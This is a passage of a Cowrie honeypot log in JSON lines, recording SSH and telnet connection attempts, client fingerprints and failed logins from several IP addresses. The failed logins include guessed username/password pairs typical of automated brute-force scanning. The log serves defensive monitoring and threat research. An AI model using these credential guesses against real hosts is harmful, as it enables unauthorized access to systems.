ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:53.341280Z","src_ip":"43.162.98.118","session":"c0987b201439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"boss","message":"login attempt [admin/boss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:53.645711Z","src_ip":"43.162.98.118","session":"c0987b201439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:35:54.717844Z","src_ip":"43.162.98.118","session":"c0987b201439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":55084,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2ba965e887b","protocol":"ssh","message":"New connection: 209.99.185.195:55084 (10.17.0.5:22) [session: f2ba965e887b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:33.387239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:33.391829Z","src_ip":"209.99.185.195","session":"f2ba965e887b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:33.502928Z","src_ip":"209.99.185.195","session":"f2ba965e887b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"duty","message":"login attempt [root/duty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:33.977061Z","src_ip":"209.99.185.195","session":"f2ba965e887b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:35.090199Z","src_ip":"209.99.185.195","session":"f2ba965e887b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"eba2c87bee54","protocol":"ssh","message":"New connection: 80.94.92.184:42300 (10.17.0.5:22) [session: eba2c87bee54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:41.379362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:41.601570Z","src_ip":"80.94.92.184","session":"eba2c87bee54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:41.606057Z","src_ip":"80.94.92.184","session":"eba2c87bee54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":35636,"dst_ip":"159.203.135.109","dst_port":22,"session":"df7e6ca27178","protocol":"ssh","message":"New connection: 43.162.98.118:35636 (159.203.135.109:22) [session: df7e6ca27178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:42.306968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:42.311201Z","src_ip":"43.162.98.118","session":"df7e6ca27178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:42.378383Z","src_ip":"43.162.98.118","session":"df7e6ca27178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"web123","message":"login attempt [ubuntu/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:42.682149Z","src_ip":"43.162.98.118","session":"df7e6ca27178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:43.055936Z","src_ip":"80.94.92.184","session":"eba2c87bee54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:43.752584Z","src_ip":"43.162.98.118","session":"df7e6ca27178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:44.182925Z","src_ip":"80.94.92.184","session":"eba2c87bee54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":35166,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba92138dd2b5","protocol":"ssh","message":"New connection: 36.92.140.209:35166 (159.203.135.109:22) [session: ba92138dd2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:46.902734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:46.907971Z","src_ip":"36.92.140.209","session":"ba92138dd2b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:47.179714Z","src_ip":"36.92.140.209","session":"ba92138dd2b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpusertest","password":"ftpusertest","message":"login attempt [ftpusertest/ftpusertest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:48.301521Z","src_ip":"36.92.140.209","session":"ba92138dd2b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:36:49.574305Z","src_ip":"36.92.140.209","session":"ba92138dd2b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00095987319946,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:10.502083Z","src_ip":"136.37.89.108","session":"3931f8f8cb02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01314759254456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:12.664489Z","src_ip":"136.37.89.108","session":"90c338229f8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.37.89.108","src_port":39005,"dst_ip":"159.203.135.109","dst_port":23,"session":"7559c6390d1b","protocol":"telnet","message":"New connection: 136.37.89.108:39005 (159.203.135.109:23) [session: 7559c6390d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:15.837392Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.37.89.108","src_port":39078,"dst_ip":"159.203.135.109","dst_port":23,"session":"f23881088d97","protocol":"telnet","message":"New connection: 136.37.89.108:39078 (159.203.135.109:23) [session: f23881088d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:17.629244Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":42532,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c21b22771c4","protocol":"ssh","message":"New connection: 187.16.96.250:42532 (159.203.135.109:22) [session: 3c21b22771c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:22.071084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:22.075703Z","src_ip":"187.16.96.250","session":"3c21b22771c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:22.192241Z","src_ip":"187.16.96.250","session":"3c21b22771c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"live","message":"login attempt [user/live] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:22.689434Z","src_ip":"187.16.96.250","session":"3c21b22771c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:23.810215Z","src_ip":"187.16.96.250","session":"3c21b22771c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":42764,"dst_ip":"159.203.135.109","dst_port":22,"session":"76569fb0c316","protocol":"ssh","message":"New connection: 43.162.98.118:42764 (159.203.135.109:22) [session: 76569fb0c316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:30.212030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:30.217081Z","src_ip":"43.162.98.118","session":"76569fb0c316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:30.286177Z","src_ip":"43.162.98.118","session":"76569fb0c316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4rfv$RFV","message":"login attempt [admin/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:30.598971Z","src_ip":"43.162.98.118","session":"76569fb0c316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:31.670599Z","src_ip":"43.162.98.118","session":"76569fb0c316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":33908,"dst_ip":"10.17.0.5","dst_port":23,"session":"0162faff581c","protocol":"telnet","message":"New connection: 69.65.3.189:33908 (10.17.0.5:23) [session: 0162faff581c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:42.446625Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":33948,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aab86670ba5","protocol":"telnet","message":"New connection: 69.65.3.189:33948 (10.17.0.5:23) [session: 1aab86670ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:42.545999Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":34994,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4e11ee1155f","protocol":"telnet","message":"New connection: 69.65.3.189:34994 (10.17.0.5:23) [session: b4e11ee1155f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:45.749266Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":38056,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f517bf8c1c","protocol":"ssh","message":"New connection: 36.92.140.209:38056 (159.203.135.109:22) [session: a8f517bf8c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:45.778193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:45.783124Z","src_ip":"36.92.140.209","session":"a8f517bf8c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:46.059005Z","src_ip":"36.92.140.209","session":"a8f517bf8c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud123$","message":"login attempt [root/cloud123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:47.190999Z","src_ip":"36.92.140.209","session":"a8f517bf8c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:37:48.468869Z","src_ip":"36.92.140.209","session":"a8f517bf8c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":42168,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe66d2ddc0a0","protocol":"ssh","message":"New connection: 43.162.98.118:42168 (159.203.135.109:22) [session: fe66d2ddc0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:19.190258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:38:19.194645Z","src_ip":"43.162.98.118","session":"fe66d2ddc0a0","protocol":"ssh"}
